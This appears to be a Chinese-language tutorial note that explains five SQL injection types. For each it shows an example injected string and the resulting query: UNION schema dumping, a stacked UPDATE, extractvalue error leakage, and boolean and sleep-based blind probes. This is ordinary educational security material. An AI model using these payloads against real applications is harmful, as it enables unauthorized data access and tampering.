SQL injection類型

常見的SQL injection有以下幾類

  • UNION query SQL injection
  • Stacked queries SQL injection
  • Error-based SQL injection
  • Boolean-based blind SQL injection
  • Time-based blind SQL injection

refer
https://www.slideshare.net/hugolu/sql-injection-61608454
https://www.cnblogs.com/leftshine/p/SQLInjection.html
https://yangxikun.github.io/web%E5%AE%89%E5%85%A8/2015/11/21/sql-inject-type.html

 

UNION query SQL injection

使⽤UNION 將另一段SELECT指令掛在正常輸⼊後⾯, 以撈出各種資訊

ex:
假設原SQL如下
SELECT * FROM testsql WHERE id=1

對id注入以下攻擊字串
1 UNION ALL SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

會構造新的sql以撈取敏感資訊
SELECT * FROM testsql WHERE id=1UNION ALL SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

 

Stacked queries SQL injection

可以執行多個SQL, 這表示可以對資料庫做更新插入等危險操作

ex:
假設原SQL如下
SELECT * FROM testsql WHERE id=1

對id注入以下攻擊字串
1 ;UPDATE testsql SET id = 0

會構造以下新的SQL新增內容
SELECT * FROM testsql WHERE id=1;UPDATE testsql SET id = 0

 

Error-based SQL injection

如果頁面能輸出SQL錯誤訊息,就可以從中獲得想要的資訊
常見技巧包括

  • xpath語法錯誤, ex:extractvalue(),updatexml()
  • 主鍵重複, ex: group by的duplicate entry
  • 其他
ex:
extractValue(xml_frag, xpath_expr) 
使用XPath表示法從XML字串中提取值

正確用法,尋找前一段xml文件內容中的a節點下的b節點
SELECT ExtractValue('< a>< b>< b/>< /a>', '/a/b');

攻擊用法,用version()的返回值構造語法錯誤 
SELECT ExtractValue('< a>< b>< b/>< /a>', concat('=',(select version())));
返回以下錯誤,並成功得到version()的返回值
XPATH syntax error: '=5.5.53'

refer
https://zhuanlan.zhihu.com/p/74907340
https://www.jishuwen.com/d/2Rt2/zh-tw

 

Content-based/Boolean-based blind SQL injection

根據資料庫的是否有回覆訊息來判斷是否有弱點

ex:
假設原sql如下
SELECT * FROM testsql WHERE id=1 LIMIT 0,1;

注入ID變數猜測資料版本是否為4.x
1 and substring(version(),1,1)=4-- 

構造sql如下,如果正常輸出資料代表猜對,如果不是則猜錯
SELECT * FROM testsql WHERE id=1 and substring(version(), 1,1)=4-- LIMIT 0,1

 

Time-based blind SQL injection

根據資料庫的回覆的快慢來判斷是否有注入成功

ex:
假設原sql如下
SELECT * FROM testsql WHERE id=1 LIMIT 0,1;

注入ID變數猜測資料版本是否為5.x
1 and if( substring(version(),1,1)=5,sleep(50),1) --

構造sql如下,如果50秒後才輸出變慢代表猜對,如果不是則猜錯
SELECT * FROM testsql WHERE id=1 and if( substring(version(),1,1)=5,sleep(50),1) -- LIMIT 0,1;

refer
https://blog.csdn.net/hacker234/article/details/100036013